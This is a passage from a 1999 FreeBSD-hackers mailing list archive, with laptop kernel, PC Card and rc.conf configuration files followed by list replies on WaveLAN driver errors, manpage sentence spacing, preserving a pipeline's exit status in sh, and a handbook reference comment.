device sa0 device pass0 device cd0 #Only need one of these, the code dynamically grows device wt0 at isa? port 0x300 bio irq 5 drq 1 #device mcd0 at isa? port 0x300 bio irq 10 #controller matcd0 at isa? port 0x230 bio #device scd0 at isa? port 0x230 bio # atkbdc0 controlls both the keyboard and the PS/2 mouse controller atkbdc0 at isa? port IO_KBD tty device atkbd0 at isa? tty irq 1 device psm0 at isa? tty irq 12 device vga0 at isa? port ? conflicts # splash screen/screen saver pseudo-device splash # syscons is the default console driver, resembling an SCO console device sc0 at isa? tty # Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver #device vt0 at isa? tty #options XSERVER # support for X server #options FAT_CURSOR # start with block cursor # If you have a ThinkPAD, uncomment this along with the rest of the PCVT lines #options PCVT_SCANSET=2 # IBM keyboards are non-std device npx0 at isa? port IO_NPX irq 13 # # Laptop support (see LINT for more options) # device apm0 at isa? disable flags 0x31 # Advanced Power Management # PCCARD (PCMCIA) support controller card0 device pcic0 at card? device pcic1 at card? device sio0 at isa? port "IO_COM1" flags 0x10 tty irq 4 device sio1 at isa? port "IO_COM2" tty irq 3 device sio2 at isa? disable port "IO_COM3" tty irq 5 device sio3 at isa? disable port "IO_COM4" tty irq 9 # Parallel port device ppc0 at isa? port? flags 0x40 net irq 7 controller ppbus0 device lpt0 at ppbus? device plip0 at ppbus? device ppi0 at ppbus? #controller vpo0 at ppbus? # # The following Ethernet NICs are all PCI devices. # device al0 # ADMtek AL981 (``Comet'') device ax0 # ASIX AX88140A device de0 # DEC/Intel DC21x4x (``Tulip'') device fxp0 # Intel EtherExpress PRO/100B (82557, 82558) device mx0 # Macronix 98713/98715/98725 (``PMAC'') device pn0 # Lite-On 82c168/82c169 (``PNIC'') device rl0 # RealTek 8129/8139 device sf0 # Adaptec AIC-6915 DuraLAN (``Starfire'') device tl0 # Texas Instruments ThunderLAN device tx0 # SMC 9432TX (83c170 ``EPIC'') device vr0 # VIA Rhine, Rhine II device vx0 # 3Com 3c590, 3c595 (``Vortex'') device wb0 # Winbond W89C840F device xl0 # 3Com 3c90x (``Boomerang'', ``Cyclone'') # Order is important here due to intrusive probes, do *not* alphabetize # this list of network interfaces until the probes have been fixed. # Right now it appears that the ie0 must be probed before ep0. See # revision 1.20 of this file. device ed0 at isa? port 0x240 net irq 11 iomem 0xd8000 #device ie0 at isa? port 0x300 net irq 10 iomem 0xd0000 #device ep0 at isa? port 0x300 net irq 10 #device ex0 at isa? port? net irq? #device fe0 at isa? port 0x300 net irq ? #device le0 at isa? port 0x300 net irq 5 iomem 0xd0000 #device lnc0 at isa? port 0x280 net irq 10 drq 0 ##device xe0 at isa? port? net irq ? #device ze0 at isa? port 0x300 net irq 10 iomem 0xd8000 #device zp0 at isa? port 0x300 net irq 10 iomem 0xd8000 #device cs0 at isa? port 0x300 net irq ? device wi0 at isa? port? net irq ? pseudo-device loop pseudo-device ether pseudo-device sl 1 pseudo-device ppp 1 pseudo-device tun 1 pseudo-device pty 16 pseudo-device gzip # Exec gzipped a.out's # KTRACE enables the system-call tracing facility ktrace(2). # This adds 4 KB bloat to your kernel, and slightly increases # the costs of each syscall. options KTRACE #kernel tracing # This provides support for System V shared memory and message queues. # options SYSVSHM options SYSVMSG options SYSVSEM # The `bpfilter' pseudo-device enables the Berkeley Packet Filter. Be # aware of the legal and administrative consequences of enabling this # option. The number of devices determines the maximum number of # simultaneous BPF clients programs runnable. pseudo-device bpfilter 1 #Berkeley packet filter ---/etc/pccard.conf--- # Sample PCCARD configuration file # # Removing all IRQ conflicts from this file can't be done because of some # IRQ-selfish PC-cards. So if you want to use some of these cards in # your machine, you will be forced to modify their IRQ parameters from # the following list. # # IRQ == 0 means "allocate free IRQ from IRQ pool" # IRQ == 16 means "do not use IRQ (e.g. PIO mode)" # # $Id: pccard.conf.sample,v 1.36 1999/05/14 03:52:07 obrien Exp $ # Generally available IO ports io 0x280-0x360 #io 0x240-0x360 # Generally available IRQs (Built-in sound-card owners remove 5) irq 3 5 10 11 13 15 # Available memory slots memory 0xd4000 96k # Lucent WaveLAN/IEEE card "Lucent Technologies" "WaveLAN/IEEE" config 0x1 "wi0" 9 insert echo WaveLAN/IEEE inserted insert /etc/pccard_ether wi0 remove echo WaveLAN/IEEE removed remove /sbin/ifconfig wi0 delete # NCR WaveLAN/IEEE card "NCR" "WaveLAN/IEEE" config 0x1 "wi0" 11 insert echo WaveLAN/IEEE inserted insert /etc/pccard_ether wi0 remove echo WaveLAN/IEEE removed remove /sbin/ifconfig wi0 delete # Cabletron RoamAbout, WaveLAN/IEEE clone card "Cabletron" "RoamAbout 802.11 DS" config 0x1 "wi0" 11 insert echo WaveLAN/IEEE inserted insert /etc/pccard_ether wi0 remove echo WaveLAN/IEEE removed remove /sbin/ifconfig wi0 delete # IBM PCMCIA Ethernet I/II card "IBM Corp." "Ethernet" config 0x1 "ed0" 11 ether 0xff0 insert echo IBM PCMCIA Ethernet inserted insert /etc/pccard_ether ed0 remove echo IBM PCMCIA Ethernet removed remove /sbin/ifconfig ed0 delete # Melco LPC-T (PIO mode) card "PCMCIA" "UE2212" config 0x1 "ed0" 11 0x10 ether 0xff0 insert echo UE2212 inserted insert /etc/pccard_ether ed0 remove echo UE2212 card removed remove /sbin/ifconfig ed0 delete # Accton EN2212 # Very slow! (PIO mode) card "ACCTON" "EN2212" config 0x1 "ed0" 11 0x10 ether 0xff0 insert echo Accton EN2212 inserted insert /etc/pccard_ether ed0 remove echo Accton EN2212 removed remove /sbin/ifconfig ed0 delete #Accton 2216 card "ACCTON" "EN2216-PCMCIA-ETHERNET" config 0x20 "ed0" 10 insert echo Accton 2216 inserted insert /etc/pccard_ether ed0 remove echo Accton 2216 removed remove /sbin/ifconfig ed0 delete # 3Com Etherlink III 3C589B, 3C589C card "3Com Corporation" "3C589" config 0x1 "ep0" ? insert echo 3Com Etherlink III inserted insert /etc/pccard_ether ep0 -link0 link1 # insert /etc/pccard_ether ep0 link0 -link1 remove echo 3Com Etherlink III removed remove /sbin/ifconfig ep0 delete # 3Com Etherlink III 3C589D card "3Com Corporation" "3C589D" config 0x1 "ep0" ? insert echo 3Com Etherlink III inserted insert /etc/pccard_ether ep0 remove echo 3Com Etherlink III removed remove /sbin/ifconfig ep0 delete # LinkSys ethernet card card "E-CARD" "E-CARD" config 0x20 "ed0" 10 insert echo "LinkSys card inserted" insert /etc/pccard_ether ed0 remove echo "LinkSys card removed" remove /sbin/ifconfig ed0 delete # Linksys Combo PCMCIA EthernetCard (model EC2T on box) card "Linksys" "Combo PCMCIA EthernetCard (EC" config 0x1 "ed0" 10 insert echo Linksys Ethernet inserted insert /etc/pccard_ether ed0 remove echo Linksys Ethernet removed remove /sbin/ifconfig ed0 delete # Farallon EtherMac card "Farallon" "ENet" config 0x1 "ep0" ? insert echo Farallon EtherMac inserted insert /etc/pccard_ether ep0 # insert /etc/pccard_ether ep0 link0 remove echo Farallon EtherMac removed remove /sbin/ifconfig ep0 delete # Fujitsu MBH10302 card "PCMCIA MBH10302" "01" config 0x14 "fe0" 10 insert echo Fujitsu MBH10302 inserted insert /etc/pccard_ether fe0 remove echo Fujitsu MBH10302 removed remove /sbin/ifconfig fe0 delete # NextCom J Link NC5310 card "NextComK.K." "NC5310 Ver1.0 " config 0x14 "fe0" 10 insert echo NextCom J Link NC5310 inserted insert /etc/pccard_ether fe0 remove echo NextCom J Link NC5310 removed remove /sbin/ifconfig fe0 delete # HITACHI HT-4840-11 card "HITACHI" "HT-4840-11" config 0x1a "fe0" 15 insert echo HT-4840-11 inserted insert /etc/pccard_ether fe0 remove echo HT-4840-11 removed remove /sbin/ifconfig fe0 delete # Danpex (Alloy, etc.) EN-6200P2 card "DANPEX" "EN-6200P2" config 0x22 "ed0" 9 insert /etc/pccard_ether ed0 remove /sbin/ifconfig ed0 delete # Fujitsu MBH10303 Ethernet PCMCIA card "EAGLE Technology" "NE200 ETHERNET LAN MBH10303 " config 0x1 "fe0" ? insert /etc/pccard_ether fe0 remove /sbin/ifconfig fe0 delete # Compex Net-A adapter card "Ethernet" "Adapter" config 0x1 "ed0" 11 ether 0xff0 insert /etc/pccard_ether ed0 remove /sbin/ifconfig ed0 delete # Telecom Device SuperSocket RE450T # Note: There are several revisions of the cardon the market. # Type A needs no "ether" line. # Type B needs "ether 0x110" line. # Type C needs "ether 0xff0" line. # Yet more revisions exist, reportedly. # If you see strange MAC address shown by ifconfig command, # try other config. card "Ethernet" "Adapter" config 0x2 "ed0" ? # ether 0x110 00:e0:98 # ether 0xff0 00:e0:98 insert /etc/pccard_ether ed0 remove /sbin/ifconfig ed0 delete # D-Link DE-660 NE2000 clone card "D-Link" "DE-660" config 0x20 "ed0" ? 0x10 insert /etc/pccard_ether ed0 link0 -link1 remove /sbin/ifconfig ed0 delete # Intel EtherExpress PRO/100 Mobile Adapter (16-bit verison) card "Intel" "EtherExpress(TM) PRO/100 PC C" config 0x1 "xe0" 10 insert echo Intel EtherExpress PRO/100 Mobile Adapter/16 inserted insert /etc/pccard_ether xe0 remove echo Intel EtherExpress PRO/100 Mobile Adapter/16 removed remove /etc/pccard_ether xe0 delete # AIWA PV-JF288 card "AIWA CO.,LTD." "PV-JF288 " config 0x23 "sio2" 10 insert echo AIWA PV-JF288 inserted remove echo AIWA PV-JF288 removed # Apex Data 28.8 PC Card "MOBILE PLUS Cellular" modem. card "AD PC_CARD" "RC288ACL" config 0x22 "sio2" 10 insert echo Apex Data Mobile Plus 28.8 Modem inserted remove echo Apex Data Mobile Plus 28.8 Modem removed # Megahertz XJ1144 card "MEGAHERTZ" "XJ1144" config 0x23 "sio2" 10 insert echo Megahertz XJ1144 inserted remove echo Megahertz XJ1144 removed # Megahertz XJ2144 (US) card "MEGAHERTZ" "XJ2144" config 0x23 "sio2" 10 insert echo Megahertz XJ2144 inserted remove echo Megahertz XJ2144 removed # Megahertz XJ2144 (JP) card "MEGAHERTZ" "XJ2144-81" config 0x23 "sio2" 10 insert echo Megahertz XJ2144 inserted remove echo Megahertz XJ2144 removed # Megahertz XJ2288 card "MEGAHERTZ" "XJ2288" config 0x23 "sio2" 10 insert echo Megahertz XJ2288 inserted remove echo Megahertz XJ2288 removed # Megahertz XJ4336 card "Megahertz" "XJ4336-CC4336" config 0x21 "sio1" 10 insert echo Megahertz XJ4336 inserted remove echo Megahertz XJ4336 removed # Megahertz XJ1336 card "U.S. Robotics" "XJ/CC1336" config 0x21 "sio2" 10 insert echo U.S. Robotics XJ/CC1336 inserted remove echo U.S. Robotics XJ/CC1336 removed # Omron ME2814 FAX/DATA MODEM card "OMRON" "ME2814 FAX/DATA MOD" config 0x23 "sio2" 3 insert echo OMRON ME2814 Modem inserted remove echo OMRON ME2814 Modem removed # TDK 14.4 FAX/Data Modem card "TDK" "DF1414 DATA/FAX MOD" config 0x23 "sio2" 10 insert echo TDK DF1414 inserted remove echo TDK DF1414 removed # TDK 14.4 FAX/Data Modem card "TDK" "DF1414EX DATA/FAX M" config 0x23 "sio2" 10 insert echo TDK DF1414 inserted remove echo TDK DF1414 removed # Panasonic Modem Card TO-706C card "Panasonic" "TO-706C" config 0x23 "sio2" 10 insert echo Panasonic TO-706C inserted remove echo Panasonic TO-706C removed # Panasonic Modem Card TO-706C card "Panasonic" "TO-CAF288" config 0x23 "sio2" 10 insert echo Panasonic TO-CAF288 inserted remove echo Panasonic TO-CAF288 removed # NewMedia 14.4K FAX/Data Modem card "CIRRUS LOGIC" "FAX MODEM" config 0x23 "sio2" 10 insert echo Newmedia 14.4 Modem inserted remove echo Newmedia 14.4 Modem removed # Omron MD24XCA FAX/Data Modem #card "OMRON Corp." "MD24XCA" # config 0x23 "sio2" 16 # reset 10000 # insert echo OMRON MD24XCA Modem inserted # remove echo OMRON MD24XCA Modem removed # Hayes OPTIMA 288 FAX/Data Modem # currently does not work on my machine card "Hayes" "OPTIMA 288 + FAX fo" config 0x24 "sio2" 5 reset 10000 insert echo Optima 288 inserted remove echo Optima 288 removed # This one does work though card "HAYES" "OPT288" config 0x23 "sio3" 9 insert echo Hayes Optima 28.8k inserted remove echo Hayes Optima 28.8k removed # PREMAX FM288 FAX/Data Modem card "PREMAX" "FM288 " config 0x23 "sio2" 10 insert echo PREMAX FM288 Modem inserted remove echo PREMAX FM288 Modem removed # Novalink NovaModem 144 card "NovaLink Tech." "NovaModem 144 " config 0x23 "sio2" 10 insert echo NovaModem 144 Modem inserted remove echo NovaModem 144 Modem removed # US Robotics Sportster PCMCIA V.34 # US Robotics COURIER PCMCIA V.34 card "USRobotics" "PCMCIA 28800 Data/F" config 0x3 "sio2" 3 insert echo USRobotics PCMCIA Modem inserted remove echo USRobotics PCMCIA Modem removed # Xircom CreditCard Modem card "Xircom" "CreditCard Modem CM-56T" config 0x17 "sio1" ? reset 100 insert echo Xircom CreditCard Modem CM-56T inserted remove echo Xircom CreditCard Modem CM-56T removed # Xircom CreditCard Ethernet+Modem (Modem only !!!) card "Xircom" "CreditCard Ethernet" config 0x23 "sio2" 3 insert echo Xircom CreditCard Modem inserted remove echo Xircom CreditCard Modem removed # Xircom CreditCard Ethernet 10/100 + modem (modem only) card "Xircom" "CreditCard Ethernet 10/100 + " config 0x1f "sio3" 10 insert echo Xircom CreditCard Modem inserted remove echo Xircom CreditCard Modem removed # Xircom CreditCard Ethernet 10/100 + modem (Ethernet part) card "Xircom" "CreditCard Ethernet 10/100 + Modem 56" config 0x17 "sio3" 10 insert echo Xircom CreditCard Modem inserted insert /etc/pccard_ether xe0 remove echo Xircom CreditCard Modem removed remove /sbin/ifconfig xe0 delete # Xircom CreditCard Ethernet 10/100 card "Xircom" "CreditCard 10/100" config 0x1 "xe0" 10 insert echo Xircom CreditCard Ethernet inserted insert /etc/pccard_ether xe0 remove echo Xircom CreditCard Ethernet removed remove /etc/pccard_ether xe0 delete # Xircom GlobalACCESS modem card "Xircom" "CreditCard Modem 56 - GlobalA" config 0x1f "sio2" 11 insert echo Xircom CreditCard Modem 56 - GlobalACCESS inserted remove echo Xircom CreditCard Modem 56 - GlobalACCESS removed # GATEWAY 2000 FAX/Data Modem (14.4K) card "GATEWAY2000" "CC3144" config 0x22 "sio3" 7 insert echo GATEWAY2000 FAX/Data Modem inserted remove echo GATEWAY2000 FAX/Data Modem removed # IBM Push/Pop Modem (14.4K) card "IBM" "Push/Pop Modem(14.4" config 0x22 "sio2" 5 insert echo IBM Push/Pop Modem inserted remove echo IBM Push/Pop Modem removed # Eiger PCCARD modem # Apparently this modem does not work unless the recommended # init string (AT&F&C1&D2) is supplied. card "PCMCIA " "33.6K Fax/Modem " config 23 "sio2" 5 insert echo Eiger 33.6K modem inserted remove echo Eiger 33.6K modem removed # NTT ThunderCard Modem card "NTT-IT CO., LTD" "ThunderCard AVF288, V.34" config 0x22 "sio2" 10 insert echo NTT ThunderCard inserted remove echo NTT ThunderCard removed # U.S. Robotics XJ1560J card "U.S. Robotics" "XJ/CC1560J" config 0x22 "sio2" 10 insert echo U.S. Robotics XJ1560J inserted remove echo U.S. Robotics XJ1560J removed # 3com/USR/Megahertz 3CCM556 card "3Com" "3CXM/3CCM556" config 0x23 "sio2" 10 insert echo 3Com PCMCIA 56K Modem inserted remove echo 3Com PCMCIA 56K Modem removed # 3Com/NoteWorthy 56K modem (bundled with Toshiba notebooks) card "Toshiba America" "3CXM056-BNW" config 0x20 "sio1" 3 insert echo NoteWorthy 56K PCMCIA Modem inserted remove echo NoteWorthy 56K PCMCIA Modem removed # BUG Linkboy D64K (ISDN) card "BUG Inc." "Linkboy D64K" config 0x23 "sio2" 3 insert echo BUG Linkboy D64K inserted remove echo BUG Linkboy D64K removed # NTT DoCoMo DATA/FAX Adapter card "NTT DoCoMo" "PCMCIA DATA/FAX ADA" config 0x22 "sio3" 10 0x82 insert echo NTT DoCoMo DATA/FAX Adapter inserted remove echo NTT DoCoMo DATA/FAX Adapter removed # Random modem bundled with Dell systems card "Psion Dacom" "Gold Card Global 56K+Fax" config 0x23 "sio2" 10 insert echo "Psion Dacom modem card inserted" remove echo "Psion Dacom modem card removed" # Actiontec Datalink with v.90 upgrade card "PCMCIA " "56K V.90 Fax Modem (LK) " config 0x1f "sio2" 10 insert echo "Actiontec Datalink modem card inserted" remove echo "Actiontec Datalink modem card removed" # Panasonic FM-RADIO card #card "Panasonic" "CF-JVR101" # config 0x22 "sio3" 16 # insert echo Panasonic FM radio card inserted # remove echo Panasonic FM radio card removed # SunDisk Flash ATA # (OEM: Epson Flash Packer) #card "SunDisk" "SDP5" # config 0x3 "wdc1" 7 # insert echo Sundisk Flash ATA inserted # remove echo Sundisk Flash ATA removed #card "SunDisk" "SDP" # config 0x3 "wdc1" 7 # insert echo SunDisk Flash ATA Inserted # remove echo SunDisk Flash ATA Removed # Midori Elec Fast Flash #card "Midori Elec." "FAST FLASH" # config 0x3 "wdc1" 9 # insert echo Midori Elec Fast FLASH inserted # remove echo Midori Elec Fast FLASH removed # Maxtor 131MB Type III HDD #card "Maxtor" "MXL131" # config 0x03 "wdc1" 10 # insert echo Maxtor 131MB HDD inserted # remove echo Maxtor 131MB HDD removed # Adaptec SlimSCSI (also included with Sony CD-ROM players) card "Adaptec, Inc." "APA-1460 SCSI Host Adapter" config 0x9 "aic0" 10 insert echo Adaptec Slim SCSI inserted remove echo Adaptec Slim SCSI removed # NewMedia Bustoaster SCSI card "New Media" "SCSI" config 0x22 "aic0" 10 insert echo New Media Bus Toaster inserted remove echo New Media Bus Toaster removed # REX5535AC, REX5535X SCSI #card "PCMCIA SCSI MBH1040" "01" # config 0x3a "spc0" 11 # insert echo REX-5535 SCSI card inserted # remove echo REX-5535 SCSI card removed # Libretto Floppy disk card "Y-E DATA" "External FDD" config 0x4 "fdc0" 10 # Viking V.90/K56Flex modem card "Viking" "V.90 K56flex" config 0x23 "sio3" 9 insert echo Viking 56K Modem inserted remove echo Viking 56K Modem removed # Zoom 56K modem card "Zoom Telephonics, Inc." "PCMCIA 56K LT DataFax" config 0x1f "sio2" 10 insert echo Zoom modem inserted remove echo Zoom modem removed # 3Com Megahertz 3CCE589E* 10 Mbps LAN PC Card card "3Com" "Megahertz 589E" config 0x1 "ep0" 10 insert echo 3Com Megahertz Ethernet card inserted insert /etc/pccard_ether ep0 remove echo 3Com Megahertz Ethernet card removed remove /sbin/ifconfig ep0 delete # 3Com/USR/MegaHertz 3CCM156 card "3COM" "3CCM156" config 0x23 "sio2" 10 insert echo 3Com PCMCIA 56K modem inserted remove echo 3Com PCMCIA 56K modem removed #AR-P500 ethernet card card "IC-CARD" "IC-CARD" config 0x20 "ed0" 15 insert echo AR-P500 Ethernet card inserted insert /etc/pccard_ether ed0 remove echo AR-P500 Ethernet card removed remove ifconfig ed0 delete #Eiger 33.6 modem card "AT&T" "V34+ Fax Modem" config 0x23 "sio1" 10 insert echo Eiger 33.6K modem inserted remove echo Eiger 33.6K modem removed # Motorola Montana card "Motorola" "MONTANA 33.6 FAX/MODEM" config 0x21 "sio1" 10 # AmbiCom 10BaseT card card "AmbiCom Inc" "AMB8002T" config 0x20 "ed0" 11 insert echo AmbiCom 8002T inserted insert /etc/pccard_ether ed0 remove echo AmbiCom 8002T removed remove /sbin/ifconfig ed0 delete ----/etc/rc.conf--- network_interfaces="ed0 wi0 lo0" ifconfig_ed0="inet xxx.xxx.xxx.xxx netmask 255.255.255.0" pccard_enable="YES" # Set to YES if you want to configure PCCARD devices. pccard_mem="DEFAULT" # If pccard_enable=YES, this is card memory address. pccard_beep="2" pccard_ifconfig="inet yyy.yyy.yyy.yyy netmask 255.255.255.0" defaultrouter="zzz.zzz.zzz.zzz" hostname="wave1.mymachinename" firewall_enable="YES" # Set to YES to enable firewall functionality natd_enable="NO" # Enable natd (if firewall_enable == YES). natd_interface="fxp0" # Public interface or IPaddress to use. natd_flags="" # Additional flags for natd. gateway_enable="YES" # Set to YES if this host will be a gateway. router_enable="YES" # Set to YES to enable a routing daemon. router="routed" # Name of routing daemon to use if enabled. router_flags="-s" # Flags for routing daemon. lpd_enable="YES" # Run the line printer daemon. lpd_program="/usr/sbin/lpd" # path to lpd, if you want a different one. lpd_flags="" # Flags to lpd (if enabled). named_enable="YES" # Run named, the DNS server (or NO). named_program="named" # path to named, if you want a different one. named_flags="" # Flags for named nfs_server_enable="YES" nfs_client_enable="YES" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 7:16: 4 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by hub.freebsd.org (Postfix) with ESMTP id F37E914D87; Sat, 28 Aug 1999 07:16:01 -0700 (PDT) (envelope-from randy@psg.com) Received: from localhost (987 bytes) by rip.psg.com via sendmail with P:stdio/R:inet_resolve/T:smtp (sender: ) (ident using unix) id for ; Sat, 28 Aug 1999 07:15:31 -0700 (PDT) (Smail-3.2.0.101 1997-Dec-17 #1 built 1999-Apr-1) Message-Id: Date: Sat, 28 Aug 1999 07:15:31 -0700 (PDT) From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Richard Puga Cc: wpaul@skynet.ctr.columbia.edu, jflowers@ezo.net, freebsd-hackers@freebsd.org, FreeBSD Laptoppers Subject: Re: WaveLan IEE problem References: <199908162135.RAA21309@skynet.ctr.columbia.edu> <37C7E722.89B3F7FC@maui.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > To date I am still reciving the following error after a day or so of use > on only the near side of a point to point link. > > wi0: init failed > wi0: failed to allocate 1594 bytes on NIC > wi0: tx buffer allocation failed > wi0: failed to allocate 1594 bytes on NIC > wi0: mgmt. buffer allocation failed > wi0: xmit failed > wi0: device timeout day? for me and a bunch of others it happens immediately. we have never been able to get wlp or wi going since 3.x. randy, running -release+pao To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 7:31:31 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp11.bellglobal.com (smtp11.bellglobal.com [204.101.251.53]) by hub.freebsd.org (Postfix) with ESMTP id A149014DDD; Sat, 28 Aug 1999 07:31:28 -0700 (PDT) (envelope-from vanderh@ecf.toronto.edu) Received: from ppp18415.on.bellglobal.com (ppp18345.on.bellglobal.com [206.172.130.25]) by smtp11.bellglobal.com (8.8.5/8.8.5) with ESMTP id KAA23920; Sat, 28 Aug 1999 10:32:02 -0400 (EDT) Received: (from tim@localhost) by ppp18415.on.bellglobal.com (8.9.3/8.9.1) id KAA50083; Sat, 28 Aug 1999 10:28:36 -0400 (EDT) (envelope-from tim) Date: Sat, 28 Aug 1999 10:28:35 -0400 From: Tim Vanderhoek To: Mike Pritchard Cc: chris@calldei.com, freebsd-hackers@FreeBSD.org Subject: Re: Please review: rc file changes Message-ID: <19990828102835.B49983@ppp18415.on.bellglobal.com> Reply-To: hoek@FreeBSD.org References: <19990828052723.G25872@holly.calldei.com> <199908281045.FAA98239@mpp.pro-ns.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95i In-Reply-To: <199908281045.FAA98239@mpp.pro-ns.net>; from Mike Pritchard on Sat, Aug 28, 1999 at 05:45:05AM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Aug 28, 1999 at 05:45:05AM -0500, Mike Pritchard wrote: > > I vote for two spaces after the period before the start of a new sentence. > Even in the digital age, I've always found that the two spaces make > for better reading of text. I think that most of our formatting > tools do this too (please don't flame me if I'm wrong :-). The manpages screw it up sometimes. [It's probably fair to assume you know when they do, but anyways... -- A sentence ends .Ar here . But this new one has a single space preceeding it. -- -- This is my .signature which gets appended to the end of my messages. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 7:44:39 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id A022C14DDD for ; Sat, 28 Aug 1999 07:44:30 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from lithium.scientia.demon.co.uk ([192.168.0.3] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.032 #1) id 11KjiF-0008Po-00; Sat, 28 Aug 1999 15:44:11 +0100 Received: (from ben) by lithium.scientia.demon.co.uk (Exim 3.032 #1) id 11KjiE-0007XL-00; Sat, 28 Aug 1999 15:44:10 +0100 Date: Sat, 28 Aug 1999 15:44:09 +0100 From: Ben Smithurst To: Roger Hardiman Cc: hackers@freebsd.org Subject: Re: Help with exit status in shell script Message-ID: <19990828154409.B28779@lithium.scientia.demon.co.uk> References: <37C79822.D28CD168@cs.strath.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <37C79822.D28CD168@cs.strath.ac.uk> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Roger Hardiman wrote: > Build calls Stage1. Stage1 will return with an error code in some cases > and we want to trap this and halt the Build script. > > ./stage1 2>&1 | tee stage1.out > if [ "X$?" != "X0" ] ; then > > Normally, $? will return the Exit Status of the last executed program. > However, due to the pipe through Tee, the Exit Status I get is the > exit status of Tee and not the exit status of the Stage1 script. > > I still want to output the stage1 script to screen and a log file. > How can I do this and preserve the exit status for the Build script. There's a bit about this in the "Csh Programming Considered Harmful" document, showing how "easy" it is in the Bourne shel: Consider the pipeline: A | B | C You want to know the status of C, well, that's easy: it's in $?, or $status in csh. But if you want it from A, you're out of luck -- if you're in the csh, that is. In the Bourne shell, you can get it, although doing so is a bit tricky. Here's something I had to do where I ran dd's stderr into a grep -v pipe to get rid of the records in/out noise, but had to return the dd's exit status, not the grep's: device=/dev/rmt8 dd_noise='^[0-9]+\+[0-9]+ records (in|out)$' exec 3>&1 status=`((dd if=$device ibs=64k 2>&1 1>&3 3>&- 4>&-; echo $? >&4) | egrep -v "$dd_noise" 1>&2 3>&- 4>&-) 4>&1` exit $status; See http://www-uxsup.csx.cam.ac.uk/csh.html for the rest. so exec 3>&1 exit_code=`((./stage1 2>&1 1>&3 3>&- 4>&-; echo $? >&4) | tee stage1.out 1>&2 3>&- 4>&-) 4>&1` exec 3>&- or something, should get it for you. I used `exit_code' rather than `status' because `$status' is read-only in zsh, but that shouldn't be a problem for plain old sh. You'd better add some comments explaining just what it does :-) -- Ben Smithurst | PGP: 0x99392F7D ben@scientia.demon.co.uk | key available from keyservers and | ben+pgp@scientia.demon.co.uk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 7:46:43 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 603D714DDD; Sat, 28 Aug 1999 07:46:40 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id XAA22451; Sat, 28 Aug 1999 23:46:37 +0900 (JST) Message-ID: <37C7F616.481430D3@newsguy.com> Date: Sat, 28 Aug 1999 23:45:42 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Nik Clayton Cc: hackers@FreeBSD.ORG Subject: Re: [Fwd: Re: cvs commit: doc/en/handbook/ports chapter.sgml] References: <37C1296C.82D5A24C@newsguy.com> <19990825142659.A10355@kilt.nothing-going-on.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Nik Clayton wrote: > > > +/* Please update doc/en/handbook/ports/chapter.sgml when changing > > */ > > #undef __FreeBSD_version > > #define __FreeBSD_version 400008 /* Master, propagated to newvers > > */ > > Hang on a second, I spoke too soon. I've just had a look at that file, > and I can see no trace of that comment in there. I can't see "handbook" > in /home/ncvs/src/sys/sys/param.h,v either. > > Or was the point that this coment *should* be added to that file, but > hasn't been yet? I was under the impression the comment *had* been committed... It would seem I was wrong. Most of the thread was spent on discussing whether ports was the appropriate place for the documentation or not, and where it should be mentioned if not in ports. You know how people can get sidetracked easily. :-) For that matter, if chapter.sgml still has a log of why the version changed, then I think it would be a good thing to insert the above comment in param.h. I don't recall seeing any objections, though I can imagine some people might think it's not appropriate for the source to refer to an outside documentation such as the handbook. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org - Come on. - Where are we going? - To get what you came for. - What's that? - Me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 8:43:20 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mta1.rcsntx.swbell.net (mta1.rcsntx.swbell.net [151.164.30.25]) by hub.freebsd.org (Postfix) with ESMTP id E4B0E14D38; Sat, 28 Aug 1999 08:43:18 -0700 (PDT) (envelope-from chris@holly.dyndns.org) Received: from holly.dyndns.org (adsl-216-62-157-60.dsl.hstntx.swbell.net) by mta1.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.1999.05.24.18.28.p7) with ESMTP id <0FH600AZ0M5CMC@mta1.rcsntx.swbell.net>; Sat, 28 Aug 1999 10:39:12 -0500 (CDT) Received: (from chris@localhost) by holly.dyndns.org (8.9.3/8.9.3) id KAA34582; Sat, 28 Aug 1999 10:39:53 